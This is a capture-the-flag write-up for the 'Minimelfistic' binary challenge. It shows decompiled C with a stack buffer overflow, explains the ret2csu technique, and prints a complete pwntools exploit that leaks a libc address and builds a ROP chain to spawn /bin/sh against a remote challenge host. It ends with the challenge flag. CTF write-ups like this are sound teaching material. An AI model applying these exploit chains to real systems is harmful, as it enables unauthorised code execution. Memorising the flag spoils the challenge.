Day 4: Minimelfistic
The Elves finally understood what went wrong with all their plans. They were too fancy and obvious!
But, this one is different.. It's a security system, but the alarm rings whenever Santa's house is
vulnerable to an attack. Will you manage to deactivate it? p.s. Sound on!
Exploring
Playing around with the binary, it seems suspiciously similiar to day 3's. A seemingly innocent looking binary which allows for write to overflow the stack buffer.
undefined8 main(void)
{
size_t sVar1;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined *local_28;
char *local_20;
undefined *local_18;
int local_c;
setup();
local_c = 1;
while (local_c != 0) {
sec_alarm();
local_18 = &DAT_004022d0;
sVar1 = strlen(&DAT_004022d0);
write(1,local_18,sVar1);
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
read(0,&local_48,0x7f0);
if ((char)local_48 == '9') {
local_20 = "Goodbye Santa!\n";
sVar1 = strlen("Goodbye Santa!\n");
write(1,local_20,sVar1);
local_c = 0;
}
local_28 = &DAT_00402320;
sVar1 = strlen(&DAT_00402320);
write(1,local_28,sVar1);
sleep(1);
}
return 0;
We need to send in an input starting with 9
to break out of the loop and achieve code redirection. However, looking at the GOT table, it is really depressing...
There are no PUTS since the entire binary only uses write
which takes in 3 parameters, which can be seen here:
The x86_64 calling conventions are as required and we need to somehow POP values into the various registers.
ROPPER managed to find pop rdi, ret
and pop rsi, ret
. However, pop rdx, ret
is not found... Even worse, making a breakpoint before the ret instruction shows that the sleep(1)
call cleared the rdx register to 0
!
Thus, we have to resort to ret2csu
as suggested by the title that it is a mini binary. I will skip the explanation of how ret2csu
works but it is pretty neat, using r12 to r15 and populating rdi, rsi and rdx eventually.
#!/usr/bin/env python3
from pwn import *
context.log_level = 'warn'
binary = ELF("./minimelfistic_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = binary
rop = ROP(binary)
RET = rop.find_gadget(['ret'])[0]
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
WRITE_GOT = binary.got.write
MAIN = binary.sym.main
CSU_GADGET1 = 0x400a3a
CSU_GADGET2 = 0x400a20
if args.REMOTE:
p = remote("46.101.92.47", 32031)
else:
p = process([binary.path])
gdb.attach(p.pid,
'''
c
'''
)
p.recvuntil(b'>')
payload = b'9' * 72
payload += p64(CSU_GADGET1)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(WRITE_GOT) #r12 -> CALL
payload += p64(1) #r13 -> rdi
payload += p64(WRITE_GOT) #r14 -> rsi
payload += p64(8) #r15 -> rdx
# Now we will perform the CALL
payload += p64(CSU_GADGET2)
payload += b'B' * (7 * 8) # 6 registers and the function to move RSP by 8
payload += p64(MAIN) # ret to main and get leaked pointers
p.sendline(payload)
p.recvuntil(b'deactivated!\n')
received = p.recvline().strip()
leaked = u64(received.ljust(8, b'\x00'))
libc.address = leaked - libc.sym.write
print('[+] Leaked base:', hex(libc.address))
BINSH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.sym.system
EXIT = libc.sym.exit
payload = b'9' * 72
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BINSH)
payload += p64(SYSTEM)
payload += p64(MAIN)
p.sendline(payload)
p.interactive()
Flag
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}